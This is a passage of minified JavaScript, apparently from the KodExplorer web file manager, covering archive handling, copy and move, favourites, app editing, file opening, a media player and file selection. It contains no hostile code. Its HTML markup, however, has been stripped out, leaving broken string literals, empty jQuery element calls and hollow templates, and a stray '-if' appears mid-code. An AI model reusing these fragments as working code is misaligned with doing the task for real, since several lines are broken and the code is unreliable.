0&&(i="index.php?share/fileDownloadRemove&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e.info)),$.dialog({icon:"succeed",title:!1,time:2,content:LNG.download_ready+"..."}),$('').appendTo("body")}})}},L=function(e,i){1>e.length||$.ajax({url:"index.php?explorer/zip",type:"POST",dataType:"json",data:n(e),beforeSend:function(){Tips.loading(LNG.ziping)},error:core.ajaxError,success:function(e){Tips.close(e),Tips.tips(e),e.code&&core.playSound("drag_drop"),"function"==typeof i&&i(e.info)}})},N=function(e,i,t){if(e){var a=function(e){$.ajax({url:e,beforeSend:function(){Tips.loading(LNG.unziping)},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof i&&i(e)}})},n="index.php?explorer/unzip&path="+urlEncode(e);"to_this"==t&&(n+="&to_this=1"),"unzip_to_folder"==t?core.api.pathSelect({type:"folder",title:LNG.unzip_to},function(e){n+="&path_to="+e,a(n)}):a(n)}},C=function(e,i,t){i&&$.ajax({url:"index.php?explorer/pathCuteDrag",type:"POST",dataType:"json",data:n(e)+"&path="+urlEncode(i+"/"),beforeSend:function(){Tips.loading(LNG.moving)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof t&&t(e.info)}})},T=function(e,i,t,a){i&&(void 0==a&&(a=0),$.ajax({url:"index.php?explorer/pathCopyDrag",type:"POST",dataType:"json",data:n(e)+"&path="+urlEncode(i+"/")+"&filename_auto="+Number(a),beforeSend:function(){Tips.loading(LNG.moving)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof t&&t(e.info)}}))},S=function(){var e=function(e,i){var t='null!
';if(0!=e.length){t=''+LNG.clipboard_state+LNG[i]+" ";for(var a=40,n=0;e.length>n;n++){var o=e[n],s=o.path;s=a>s.length?s:"..."+s.substr(-a),t+="
"+o.type+":
"+s+" "}t+="
"}return t};$.ajax({url:"index.php?explorer/clipboard",dataType:"json",error:core.ajaxError,success:function(i){i.code&&$.dialog({title:LNG.clipboard,padding:0,height:200,width:400,content:e(i.data,i.info)})}})},j=function(e,i,t){var a=function(){$.ajax({url:"index.php?fav/del&name="+urlEncode(e),dataType:"json",async:!1,success:function(e){"function"==typeof i&&i(e)}})};return t?(a(),void 0):($.dialog({id:"dialog_fav_remove",fixed:!0,icon:"question",title:LNG.fav_remove,width:200,padding:"40px 20px",content:LNG.fav_remove+"?",ok:a,cancel:!0}),void 0)},z=function(e){if(e){if(-1==trim(core.pathClear(e.path),"/").indexOf("/")){var i=core.getPathIcon(e.path,e.name);""!=i.icon&&(e.ext=i.icon,e.name=i.name)}$.ajax({url:"index.php?fav/add",dataType:"json",data:e,success:function(e){Tips.tips(e),e.code&&"desktop"!=Config.pageApp&&ui.tree.refreshFav()}})}},P=function(e){var i={};return i.type=e.find("input[type=radio]:checked").val(),i.content=e.find("textarea").val(),i.group=e.find("[name=group]").val(),e.find("input[type=text]").each(function(){var e=$(this).attr("name");i[e]=$(this).val()}),e.find("input[type=checkbox]").each(function(){var e=$(this).attr("name");i[e]="checked"==$(this).attr("checked")?1:0}),i},E=function(e){e.find(".type input").change(function(){var i=$(this).attr("apptype");e.find("[data-type]").addClass("hidden"),e.find("[data-type="+i+"]").removeClass("hidden")}),e.find(".app_edit_select_icon").unbind("click").bind("click",function(){var i=G.basic_path+"static/images/file_icon/icon_app/";G.is_root||(i=""),core.api.pathSelect({type:"file",title:LNG.path_api_select_file,firstPath:i},function(i){var i=core.path2url(i);e.find(".app_edit_select_icon_input").val(i)})}),e.find(".size-full").unbind("click").bind("click",function(){var i=$(this).prop("checked");i?(e.find("[name=width]").val("100%"),e.find("[name=height]").val("100%")):(e.find("[name=width]").val("800"),e.find("[name=height]").val("600"))})},D=function(i,t,a){var n,o,s,r=LNG.app_create,l=UUID(),c=e("./tpl/app_edit.html"),d=template.compile(c);switch(void 0==a&&(a="user_edit"),"root_edit"==a&&(i=i),"user_edit"==a||"root_edit"==a?(r=LNG.app_edit,s=d({LNG:LNG,uuid:l,data:i})):s=d({LNG:LNG,uuid:l,data:{}}),$.dialog({fixed:!0,width:450,id:l,padding:15,title:r,content:s,button:[{name:LNG.preview,callback:function(){return core.openApp(P(n)),!1}},{name:LNG.button_save,focus:!0,callback:function(){var e=P(n);switch(a){case"user_add":var s=urlEncode(G.this_path+e.name);o="./index.php?app/user_app&action=add&path="+s;break;case"user_edit":o="./index.php?app/user_app&path="+urlEncode(i.path);break;case"root_add":o="./index.php?app/add&name="+urlEncode(e.name);break;case"root_edit":o="./index.php?app/edit&name="+urlEncode(e.name)+"&old_name="+urlEncode(i.name);break;default:}$.ajax({url:o,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(e))},beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){if(Tips.close(e),e.code)if("root_edit"==a||"root_add"==a){if(!e.code)return;ShareData.frameTop("Openapp_store",function(e){e.App.reload()})}else"function"==typeof t?t():ui.f5()}})}}]}),n=$("."+l),G.is_root||$(".appbox .appline .right a.open").remove(),i.group&&n.find("option").eq(i.group).attr("selected",1),n.find(".aui_content").css("overflow","inherit"),a){case"user_edit":n.find(".name").addClass("hidden"),n.find(".desc").addClass("hidden"),n.find(".group").addClass("hidden"),n.find("option[value="+i.group+"]").attr("checked",!0);break;case"user_add":n.find(".desc").addClass("hidden"),n.find(".group").addClass("hidden"),n.find("[apptype=url]").attr("checked",!0),n.find("[data-type=url] input[name=resize]").attr("checked",!0),n.find("input[name=width]").attr("value","800"),n.find("input[name=height]").attr("value","600"),n.find("input[name=icon]").attr("value","oexe.png");break;case"root_add":n.find("[apptype=url]").attr("checked",!0),n.find("[data-type=url] input[name=resize]").attr("checked",!0),n.find("input[name=width]").attr("value","800"),n.find("input[name=height]").attr("value","600"),n.find("input[name=icon]").attr("value","oexe.png");break;case"root_edit":n.find("option[value="+i.group+"]").attr("selected",!0);break;default:}E(n)},F=function(){core.appStore()},O=function(e){e&&4>e.length&&"http"!=e.substring(0,4)||$.ajax({url:"./index.php?app/get_url_title&url="+e,dataType:"json",beforeSend:function(){Tips.loading()},success:function(i){var t=i.data;Tips.close(i);var a={content:e,type:"url",desc:"",group:"others",icon:"internet.png",name:t,resize:1,simple:0,height:"70%",width:"90%"},n=urlEncode(G.this_path+t);e="./index.php?app/user_app&action=add&path="+n,$.ajax({url:e,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(a))},success:function(e){Tips.close(e),e.code&&ui.f5()}})}})};return{strSort:s,appEdit:D,appList:F,appAddURL:O,share:u,shareBox:f,setBackground:v,createLink:_,createProject:g,newFile:r,newFolder:l,rname:c,unZip:N,zipDownload:w,zip:L,copy:p,cute:b,info:x,remove:d,cuteDrag:C,copyDrag:T,past:y,clipboard:S,fav:z,favRemove:j}}),define("app/common/tpl/share.html",[],'\n
\n
{{LNG.share_title}}
\n
\n
\n
\n
\n
\n'),define("app/common/tpl/fileinfo/file_info.html",[],"\n {{if download_path}}\n
\n
{{LNG.download_address}}:
\n
\n
\n
\n {{LNG.open}} \n \n
\n
\n
\n
\n {{/if}}\n\n
\n
\n
{{LNG.address}}:
\n
{{path |window.htmlEncode}}
\n
\n
\n
\n
{{LNG.size}}:
\n
{{size_friendly}} ({{size}} Byte)
\n
\n
\n\n {{if file_md5}}\n
\n
MD5:
\n
{{file_md5}}
\n
\n
\n {{/if}}\n\n {{if image_size}}\n
\n
{{LNG.image_size}}:
\n
{{image_size.width}} × {{image_size.height}}
\n
\n
\n {{/if}}\n\n
\n
\n
{{LNG.create_time}}
\n
{{ctime}}
\n
\n
\n
\n
{{LNG.modify_time}}
\n
{{mtime}}
\n
\n
\n
\n
{{LNG.last_time}}
\n
{{atime}}
\n
\n
\n\n \n
\n
\n
{{LNG.permission}}:
\n
{{mode}}
\n
\n
\n {{if is_root==\"1\"}}\n
\n
{{LNG.permission_edit}}:
\n
\n {{LNG.button_save}}
\n
\n
\n {{/if}}\n
\n"),define("app/common/tpl/fileinfo/path_info.html",[],"\n
\n
{{LNG.address}}:
\n
{{path |window.htmlEncode}}
\n
\n
\n
\n
{{LNG.size}}:
\n
{{size_friendly}} ({{size}} Byte)
\n
\n
\n
\n
{{LNG.contain}}:
\n
{{file_num}} {{LNG.file}},{{folder_num}} {{LNG.folder}}
\n
\n
\n
\n
\n
{{LNG.create_time}}
\n
{{ctime}}
\n
\n
\n
\n
{{LNG.modify_time}}
\n
{{mtime}}
\n
\n
\n
\n
{{LNG.last_time}}
\n
{{atime}}
\n
\n
\n
\n
\n
{{LNG.permission}}:
\n
{{mode}}
\n
\n
\n {{if is_root==\"1\"}}\n
\n
{{LNG.permission_edit}}:
\n
\n {{LNG.button_save}}
\n
\n
\n {{/if}}\n
\n"),define("app/common/tpl/fileinfo/path_info_more.html",[],"\n
\n
{{LNG.info}}:
\n
\n {{file_num}} {{LNG.file}},{{folder_num}} {{LNG.folder}}
\n
\n
\n
\n
\n
{{LNG.size}}:
\n
{{size_friendly}} ({{size}} Byte)
\n
\n
\n \n
\n
\n
{{LNG.permission}}:
\n
{{mode}}
\n
\n
\n {{if is_root==\"1\"}}\n
\n
{{LNG.permission_edit}}:
\n
\n {{LNG.button_save}}
\n
\n
\n {{/if}}\n
\n"),define("app/common/tpl/app_edit.html",[],"\n
\n
\n
{{LNG.app_desc}}
\n
\n
\n
\n
\n
{{LNG.app_icon}}
\n
\n \n \n \n
\n
\n
\n
\n
{{LNG.app_group}}
\n
\n {{LNG.app_group_others}} {{LNG.app_group_game}} \n {{LNG.app_group_tools}} {{LNG.app_group_reader}} \n {{LNG.app_group_movie}} {{LNG.app_group_music}} \n {{LNG.app_group_life}} \n
\n
\n
\n
\n
\n
{{LNG.app_display}}
\n
\n \n {{LNG.app_display_border}} \n \n {{LNG.app_display_size}} \n
\n
\n
\n
\n
\n
{{LNG.app_code}}
\n
{{LNG.app_code}}
\n
{{LNG.app_url}}
\n
\n
\n
\n
\n"),define("app/common/pathOpen",["./myPlayer"],function(e){var i=function(e,i){if(void 0!=e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;
-if("folder"==i)return"explorer"==Config.pageApp?ui.path.list(e+"/"):core.explorer(e),void 0;if("oexe"!=i){if(i=core.pathExt(e),"swf"==i)return $.dialog({resize:!0,fixed:!0,ico:core.icon("swf"),title:core.pathThis(e),width:"75%",height:"65%",padding:0,content:core.createFlash(core.path2url(e))}),void 0;if("url"==i)return core.fileGet(e,function(i){var t=i.match(/URL=(.*)/);t.length>=2?window.open(t[1]):s(e)}),void 0;if("webloc"==i)return core.fileGet(e,function(i){try{var t=$($.parseXML(i)),a=t.find("string").text();window.open(a)}catch(n){s(e)}}),void 0;if("html"==i||"htm"==i){var a=core.path2url(e);return core.openDialog(a,core.icon("html"),core.pathThis(e)),void 0}if(inArray(core.filetype.image,i)){var a=e;return-1==a.indexOf("http:")&&(a=core.path2url(a)),MaskView.image(a),void 0}if(inArray(core.filetype.music,i)||inArray(core.filetype.movie,i)){var a=core.path2url(e,!1);return d(a,i),void 0}return"pdf"==i?(core.fileLink(e,function(t){var a="./lib/plugins/pdfjs/web/viewer.html?file="+urlEncode(t);if(canvasSupport())core.openDialog(a,core.icon(i),htmlEncode(core.pathThis(e)));else{var n="pdf"+UUID(),o='";$.dialog({resize:!0,fixed:!0,ico:core.icon(i),title:core.pathThis(e),width:800,height:400,padding:0,content:o}),new PDFObject({url:t}).embed(n)}}),void 0):inArray(core.filetype.doc,i)?(l(e),void 0):inArray(core.filetype.text,i)?(s(e),void 0):("editor"==Config.pageApp?Tips.tips(i+LNG.edit_can_not,!1):t(e,""),void 0)}if("string"==typeof e){var n=e;"string"!=typeof e&&(n=e.content.split("'")[1]),core.fileGet(n,function(e){var i=jsonDecode(e);i.name=core.pathThis(n),core.openApp(i)})}else core.openApp(e)}},t=function(e,i){var t='";$.dialog({id:"open_unknow_dialog",fixed:!0,icon:"warning",title:LNG.unknow_file_title,padding:30,content:t,cancel:!0}),$(".unknow_file a").unbind("click").bind("click",function(){$.dialog.list.open_unknow_dialog.close()})},a=function(e){$.dialog({icon:"succeed",title:!1,time:1.5,content:LNG.download_ready+"..."}),$('').appendTo("body")},n=function(e){if(core.authCheck("explorer:fileDownload",LNG.no_permissiondownload)&&e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var i="index.php?explorer/fileDownload&path="+urlEncode(e);G.share_page!==void 0&&(i="index.php?share/fileDownload&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),a(i)}},o=function(e){if(void 0!=e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var i=core.path2url(e);window.open(i)}},s=function(e){if(e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var t=core.pathExt(e);return"Win32"==navigator.platform||"Windows"==navigator.platform,inArray(core.filetype.doc,t)?(l(e,!0),void 0):(core.pathThis(e),inArray(core.filetype.bindary,t)||inArray(core.filetype.music,t)||inArray(core.filetype.image,t)||inArray(core.filetype.movie,t)||inArray(core.filetype.doc,t)?(i(e,t),void 0):(r(e),void 0))}},r=function(e){var i=ShareData.frameTop();if(i.Editor!==void 0)return i.Editor.add(urlEncode(e)),void 0;if("editor"==Config.pageApp)return ShareData.frameChild("OpenopenEditor",function(i){i.Editor.add(urlEncode(e))}),void 0;if(ShareData.frameTop("OpenopenEditor")){var t=i.$.dialog.list.openEditor,a=0;t&&("hidden"==$("."+t.config.id).css("visibility")&&(a=200),t.display(!0).zIndex().focus()),setTimeout(function(){ShareData.frameTop("OpenopenEditor",function(i){i.Editor.add(urlEncode(e))})},a)}else{var n="./index.php?editor/edit#filename="+urlEncode(e);G.share_page!==void 0&&(n="./index.php?share/edit&user="+G.user+"&sid="+G.sid+"#filename="+urlEncode(e)),core.openDialog(n,core.icon("edit"),htmlEncode(e),"openEditor")}},l=function(e,i){var t="./index.php?explorer/officeView&path="+urlEncode(e);G.share_page!==void 0&&(t=G.app_host+"index.php?share/officeView&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),i!==void 0&&(t+="&is_edit=1"),core.openDialog(t,core.icon(core.pathExt(e)),htmlEncode(core.pathThis(e)))},c=function(i,t){if(i){"string"==typeof i&&(i=[i]);var a=e("./myPlayer");a.play(i,t)}},d=function(e,i){var t=ShareData.frameTop();t.ui.pathOpen.playerInstance(e,i)};return{open:i,playerInstance:c,play:d,openEditor:s,openEditorForce:r,openWindow:o,downloadUrl:a,download:n}}),define("app/common/myPlayer",[],function(e){var i="",t="",a="music_player",n="movie_player",o=function(e){var n=e==a?"mp3":"mp4",o="."+e+"_dialog",s=i,l={width:"70%",height:"60%"};e==a&&(s=t,l={width:"320px",height:"420px"});var c=$.dialog({id:e+"_dialog",simple:!0,ico:core.icon(n),title:"player",width:l.width,height:l.height,content:s,resize:!0,padding:0,fixed:!0,close:function(){var i=r(e);i.jPlayer("destroy")}});return c.DOM.wrap.addClass("myJPlayer"),$(o).find(".jPlayer-container")},s=function(e){return"music"==e?a:(void 0==e&&(e="mp3"),inArray(core.filetype.music,e)?a:n)},r=function(e){var i="."+e+"_dialog",t=$(i);return 0==t.length?!1:t.find(".jPlayer-container")},l=function(e,i){i&&"music"!=i||(i=core.pathExt(e));var t={mp4:"m4v",m4v:"m4v",mov:"m4v",ogv:"ogv",webm:"webmv",webmv:"webmv",flv:"flv",f4v:"flv",f4a:"flv",mp3:"mp3",wav:"wav",m4a:"mp3",aac:"mp3",ogg:"oga",oga:"oga",webma:"webma"},a=t[i],n={extType:a,title:core.pathThis(urlDecode(e)),url:e,solution:"flv"==i||"f4v"==i?"flash":"html,flash"};return n[a]=e,n},c=function(e,i){if(i){var t=e.parents(".jPlayer"),a={solution:i.solution,swfPath:G.static_path+"js/lib/jPlayer/jquery.jplayer.swf"};t.attr("id",UUID()),e.jPlayer("destroy"),e.find(".jPlayer-container").children().remove(),e.jPlayer(jPlayerConfigInit(t,a)),e.find("object").length>0?t.addClass("flashPlayer"):t.removeClass("flashPlayer"),e.jPlayer("setMedia",i),setTimeout(function(){e.jPlayer("play")},150),jPlayerBindControl(t),setTimeout(function(){var e=t.parents(".dialog-simple").find(".aui_titleBar").attr("id"),a=$.dialog.list[e];a&&a.title(i.title)},100)}},d=function(e,i){var t=s(i),n=r(t),d=l(e[0],i);n||(n=o(t),t==a&&p.init()),t==a&&(d=p.insert(n,e,i)),c(n,d);try{$.dialog.list[t+"_dialog"].display(!0)}catch(u){}},p=function(){var e=[],i=0,t=null,a="circle",n=function(a,n){t=a;for(var s=e.length,r=0;n.length>r;r++){var c=!1,d=0;for(d=0;e.length>d;d++)if(e[d].url==n[r]){c=!0;break}if(c){if(r==n.length-1)return i!=d&&o(d),!1}else{var p=core.pathExt(n[r]);inArray(core.filetype.music,p)&&e.push(l(n[r],p))}}return e.length==s?!1:(i=e.length-1,u(!0),e[i])},o=function(a){a=0>=a?0:a,a=a>=e.length-1?e.length-1:a,i=a;var n=e[a];c(t,n),u(!1)},s=function(t){switch(a){case"circle":"next"==t?e.length-1>i?o(i+1):o(0):0>i-1?o(e.length-1):o(i-1);break;case"rand":o(roundFromTo(0,e.length)-1);break;case"one":o(i);break;default:}},r=function(i){e.remove(i),o(i),u(!0)},d=function(i){var t=e[i],a=t.url+"&download=1";ui.pathOpen.downloadUrl(a)},p=function(){i=0,e=[],a="circle";var t=$(".jPlayer-music"),n=[{icon:"icon-retweet",loop:"circle"},{icon:"icon-random",loop:"rand"},{icon:"icon-refresh loop-one",loop:"one"}];t.find(".change-loop").unbind("click").bind("click",function(){var e=parseInt($(this).attr("data-loop"))+1;e=0>e?0:e,e=e>=n.length?0:e;var i=n[e];$(this).attr("data-loop",e).find("i").attr("class",i.icon),a=i.loop}),t.find(".play-backward").unbind("click").bind("click",function(){s("prev")}),t.find(".play-forward").unbind("click").bind("click",function(){s("next")}),t.find(".show-list").unbind("click").bind("click",function(e){t.parents(".music_player_dialog").toggleClass("hide-play-list"),stopPP(e)}),t.find(".play-list .item").die("click").live("click",function(e){var i=$(this).index();o(i),stopPP(e)}),t.find(".play-list .remove").die("click").live("click",function(e){var i=$(this).parents(".item"),t=i.index();return i.remove(),r(t),stopPP(e),!1}),t.find(".play-list .download").die("click").live("click",function(e){var i=$(this).parents(".item").index();return d(i),stopPP(e),!1})},u=function(a){var n=$(t).parents(".jPlayer");if(a){var o="";$.each(e,function(e,i){o+=' '+i.title+'
'}),n.find(".play-list .content").html(o)}return 0!=e.length&&e[i]?(n.find(".item-title").html(e[i].title),n.find(".item").removeClass("this"),n.find(".item:eq("+i+")").addClass("this"),f(n.find(".player-bg")),void 0):(i=0,n.find(".item-title").html(" "),t.jPlayer("destroy"),t.find(".jPlayer-container").children().remove(),void 0)},f=function(e){var i=h(),t=h(),a="160deg",n="background-image: -webkit-linear-gradient("+a+", "+i+", "+t+"); background-image: -moz-linear-gradient("+a+", "+i+", "+t+"); background-image: -o-linear-gradient("+a+", "+i+", "+t+"); background-image: -ms-linear-gradient("+a+", "+i+", "+t+"); background-image: linear-gradient("+a+", "+i+", "+t+");";e.attr("style",n)},h=function(){return"#"+(16777215*Math.random()<<0).toString(16)};return{insert:n,init:p}}(),u=function(a,o){var r=s(o);r==n?e.async(["lib/jPlayer/kod.flat/movie.html","lib/jPlayer/jquery.jplayer.min.js","lib/jPlayer/kod.flat/control.js","lib/jPlayer/kod.flat/style.css"],function(e){i=e,d(a,o)}):e.async(["lib/jPlayer/kod.flat/music.html","lib/jPlayer/jquery.jplayer.min.js","lib/jPlayer/kod.flat/control.js","lib/jPlayer/kod.flat/style.css"],function(e){t=e,d(a,o)})},f=function(i,t){e.async(["lib/jPlayer/jquery.jplayer.min.js"],function(){var e={solution:"html",swfPath:G.static_path+"js/lib/jPlayer/jquery.jplayer.swf",media:{title:"",mp3:i},ready:function(){t.jPlayer("setMedia",e.media).jPlayer("play")}};t.jPlayer("destroy").children().remove(),t.jPlayer(e)})};return{play:u,playSound:f}}),define("app/src/explorer/tpl/file_create.html",[],"\n {{if list_type=='list'}}
{{/if}}\n
\n
\n {{if type=='folder'}}\n {{\"folder\" | core.icon}}
\n {{else}}\n {{ext | core.icon}}
\n {{/if}}\n \n {{if list_type=='icon'}}\n \n {{else}}\n \n {{/if}}\n
\n \n
\n
\n
\n"),define("app/src/explorer/fileLight",[],function(){var e=$(),i=$(),t=function(){var e;e="list_split"!=G.user_config.list_type?$(".bodymain .fileContiner .file"):$(".bodymain .fileContiner .split_select .file"),i=e,f("clear"),n()},a=function(){var i=$(Config.SelectClass);e=i,i.length>1&&c(i),f("menufile"),o()},n=function(){if(G.json_data&&G.json_data.filelist){var e=G.json_data.filelist.length+G.json_data.folderlist.length;$(".file_select_info .item_num").html(e+LNG.folder_info_item)}},o=function(){var i="",t=0,a=e;0!=a.length&&(i=a.length+LNG.folder_info_item_select,a.each(function(){t+=parseInt($(this).attr("data-size"))}),0!=t&&(i=i+" ("+core.fileSize(t)+")")),$(".file_select_info .item_select").html(i)},s=function(i){var t=e;if(void 0==i&&t&&t.length>=1&&(i=$(t[t.length-1])),void 0!=i&&!i.inScreen()){var a=$(".bodymain");"list_split"==G.user_config.list_type&&(a=i.parent());var n=i.offset().top-a.offset().top-a.height()/2+a.scrollTop();a.stop(!0).animate({scrollTop:n},100)}},r=function(e){return core.pathThis(h(e))},l=function(e){return e.find(".ico").attr("filetype")},c=function(e){if(G.json_data.info)switch(G.json_data.info.path_type){case G.KOD_USER_RECYCLE:return;case G.KOD_USER_FAV:return e.removeClass("menuFavPath").addClass("menuFavPathMore"),void 0;case G.KOD_USER_SHARE:if(-1==trim(G.this_path,"/").search("/"))return e.removeClass("menuSharePath").addClass("menuSharePathMore"),void 0;case G.KOD_GROUP_ROOT_SELF:case G.KOD_GROUP_ROOT_ALL:return e.removeClass("menuGroupRoot").addClass("menuGroupRootMore"),void 0;default:}e.removeClass("menufile menufolder").addClass("menuMore"),f()},d=function(e){var i={fileBox:"menufile",folderBox:"menufolder",menuRecyclePath:"menuRecyclePath",menuSharePathMore:"menuSharePath",menuFavPathMore:"menuFavPath",menuGroupRootMore:"menuGroupRoot",menuDefault:"menuDefault"};e.removeClass("menuMore");for(var t in i)e.hasClass(t)&&e.addClass(i[t]);f()},p=function(){var i=[];if(0!=e.length)return e.each(function(){i.push(h($(this)))}),i},u=function(){if(0!=e.length){var i=e;i.removeClass(Config.SelectClassName),i.each(function(){d($(this))}),e=$(),f(),o()}},f=function(){0==e.length?($(".drop-menu-action li").addClass("disabled"),$(".drop-menu-action #past").removeClass("disabled"),$(".drop-menu-action #info").removeClass("disabled"),$(".kod_path_tool #download").addClass("disabled")):($(".drop-menu-action li").removeClass("disabled"),$(".kod_path_tool #download").removeClass("disabled"),e.length>1?$(".drop-menu-action").find("#open,#rname,#past,#share,#createLink,#add_to_fav").addClass("disabled"):$(".drop-menu-action").find("#open,#rname,#past,#share,#createLink,#add_to_fav").removeClass("disabled"))},h=function(e,i){return void 0==i&&(i="data-path"),void 0!=e.attr("data-path-children")&&(i="data-path-children"),pathHashDecode(e.attr(i))};return{init:t,name:r,path:h,type:l,fileListSelect:function(i){return i&&(e=i),e},fileListAll:function(e){return e&&(i=e),i},select:a,setInView:s,setMenu:c,resumeMenu:d,getAllName:p,clear:u,menuAction:f}}),define("app/src/explorer/fileSelect",[],function(){var e=!1,i=!1,t=!1,a=function(){$(Config.FileBoxClass).die("touchstart").live("touchstart",function(){$(this).hasClass("select")?ui.path.open():(ui.fileLight.clear(),$(this).removeClass("select"),$(this).addClass("select"),ui.fileLight.select())});var a=function(e){!e.hasClass(Config.TypeFolderClass)&&!e.hasClass("menuRecycleButton")||e.hasClass(Config.SelectClassName)||($(".selectDragTemp").removeClass("selectDragTemp"),e.addClass("selectDragTemp"))},l=function(){};$(Config.FileBoxClass).die("mouseenter").live("mouseenter",function(){i&&a($(this)),e||i||$(this).addClass(Config.HoverClassName),l($(this)),$(this).unbind("mousedown").bind("mousedown",function(e){if($(e.target).is("input")||$(e.target).is("textarea"))return!0;if($(this).focus(),rightMenu.hidden(),$(e.target).parents(".children_more").length>0)return ui.fileContent.pathChildrenTree($(this)),stopPP(e),!1;if(!(e.ctrlKey||e.metaKey||e.shiftKey||$(this).hasClass(Config.SelectClassName)))return ui.fileLight.clear(),$(this).addClass(Config.SelectClassName),ui.fileLight.select(),!0;if(3!=e.which||$(this).hasClass(Config.SelectClassName)||(ui.fileLight.clear(),$(this).addClass(Config.SelectClassName),ui.fileLight.select()),(e.ctrlKey||e.metaKey)&&($(this).hasClass(Config.SelectClassName)?t=!0:(ui.fileLight.setMenu($(this)),$(this).addClass(Config.SelectClassName)),ui.fileLight.select()),e.shiftKey){var i=h.fileListAll($(this)),a=h.fileListSelect($(this)),n=i.index($(this));if(0==a.length)x(0,n,i);else{var o=i.index(a.first()),s=i.index(a.last());o>n?x(n,s,i):n>s?x(o,n,i):x(o,n,i)}}return!0}).unbind("mouseup").bind("mouseup",function(){return $(".selectDragTemp").removeClass("selectDragTemp"),!0})}).die("mouseleave").live("mouseleave",function(){$(this).removeClass(Config.HoverClassName),i&&$(this).removeClass("selectDragTemp")}).die("click").live("click",function(e){return stopPP(e),i?!1:(0==$(this).find(".textarea").length&&0==$(".file-draging-box").length&&(e.ctrlKey||e.metaKey||e.shiftKey?(e.ctrlKey||e.metaKey)&&t&&(t=!1,ui.fileLight.resumeMenu($(this)),$(this).removeClass(Config.SelectClassName),ui.fileLight.select()):(ui.fileLight.clear(),$(this).addClass(Config.SelectClassName),ui.fileLight.select(),r($(this)))),void 0)}).die("dblclick").live("dblclick",function(e){if(!($(e.target).is("textarea")||$(e.target).is("input")||$(e.target).hasClass("children_more")||$(e.target).hasClass("children_more_cert")))if(e.altKey)ui.path.info();else{if(1!=ui.fileLight.fileListSelect().length)return;if("list_split"==G.user_config.list_type&&s($(this))){var i=ui.fileLight.path($(this));return G.this_path="",$(".fileList_list_split .split_box").remove(),ui.path.list(i),void 0}ui.path.open()}}),n(),o(),$(Config.FileBoxTittleClass).die("dblclick").live("dblclick",function(e){var i=$(this).parents(".file");return i.hasClass("systemBox"),ui.path.rname(),stopPP(e),!1})},n=function(){var e;$("#folderList a").die("mouseenter").live("mouseenter",function(){if(i){$(this).hasClass("menuTreeFolder")&&$(this).addClass("curDropTreeNode"),clearTimeout(e),e=!1;var t=ui.tree.zTree(),a=t.getNodeByTId($(this).parent().attr("id"));!a.open&&a.isParent&&(e=setTimeout(function(){t.expandNode(a,!0)},600))}}).die("mouseup").live("mouseup",function(){if(i){$(this).removeClass("curDropTreeNode"),clearTimeout(e),e=!1;var t=ui.tree.zTree(),a=t.getNodeByTId($(this).parent().attr("id"));setTimeout(function(){a.isParent=!0,t.reAsyncChildNodes(a,"refresh")},100)}}).die("mouseleave").live("mouseleave",function(){i&&($(this).removeClass("curDropTreeNode"),clearTimeout(e),e=!1)})},o=function(){$(".header-middle .yarnlet a").die("mouseenter").live("mouseenter",function(){i&&$(this).addClass("curDropToPath")}).die("mouseup").live("mouseup",function(){i&&$(this).removeClass("curDropToPath")}).die("mouseleave").live("mouseleave",function(){i&&$(this).removeClass("curDropToPath")})},s=function(e){return"icon"==G.user_config.list_type?e.hasClass("folderBox")||e.hasClass("menuRecycleButton")?!0:!1:"list"==G.user_config.list_type?e.hasClass("folderBox")||e.hasClass("menuRecycleButton")||0!=e.find(".children_more_cert").length?!0:!1:"list_split"==G.user_config.list_type?e.hasClass("folderBox")||e.hasClass("menuRecycleButton")||0!=e.find(".children_more_cert").length?!0:!1:void 0},r=function(e){if("list_split"==G.user_config.list_type&&s(e)&&1==ui.fileLight.fileListSelect().length){var i=ui.fileLight.path(e);ui.path.history.add(i),ui.fileContent.pathChildrenSplit(i,function(){c(i)})}},l=function(){var e=".fileList_list_split .split_box",i="split_hover";$(e).live("mouseenter",function(){$(e).removeClass(i),$(this).addClass(i)}).die("mouseleave").live("mouseleave",function(){$(this).removeClass(i)}).die("click").live("click",function(){c(ui.fileLight.path($(this)))}).die("mousedown").live("mousedown",function(e){var i=$(e.target).parents(".file");(0==i.length||0==i.find(".children_open").length)&&c(ui.fileLight.path($(this)))})},c=function(e){var i=$(".fileList_list_split .split_box"),t=$('.fileList_list_split .split_box[data-path="'+pathHashEncode(e)+'"]'),a=$('.fileList_list_split .split_box .file[data-path="'+pathHashEncode(e)+'"]'),n="split_select";0==t.length&&(t=i.last()),i.removeClass(n),t.addClass(n),0==ui.fileLight.fileListSelect().length&&a.addClass("select"),ui.fileLight.select();var o=t.data("jsonData");o&&e&&(ui.fileContent.pathTypeChange(o),G.this_path=e,G.json_data=o,ui.headerAddress.addressSet()),ui.fileLight.init()},d=function(e){return e.hasClass("menuSharePath")||e.hasClass("systemBox")?!1:!0},p=function(){var t,a,n,o=150,s=!1,r=!1,l=0,c=!1,p=-15,u=10,f=0,h=0,m="selectDragDraging";$(Config.FileBoxClass).die("mousedown").live("mousedown",function(i){if(!i.shiftKey){if(ui.isEdit())return!0;if(1!=i.which||e)return!0;t=$(this),d(t)&&(g(i),$.browser.mozilla||this.setCapture&&this.setCapture(),$(document).mousemove(function(e){b(e)}),$(document).keydown(function(e){b(e)}),$(document).keyup(function(e){b(e)}),$(document).one("mouseup",function(e){k(e),this.releaseCapture&&this.releaseCapture()}))}});var 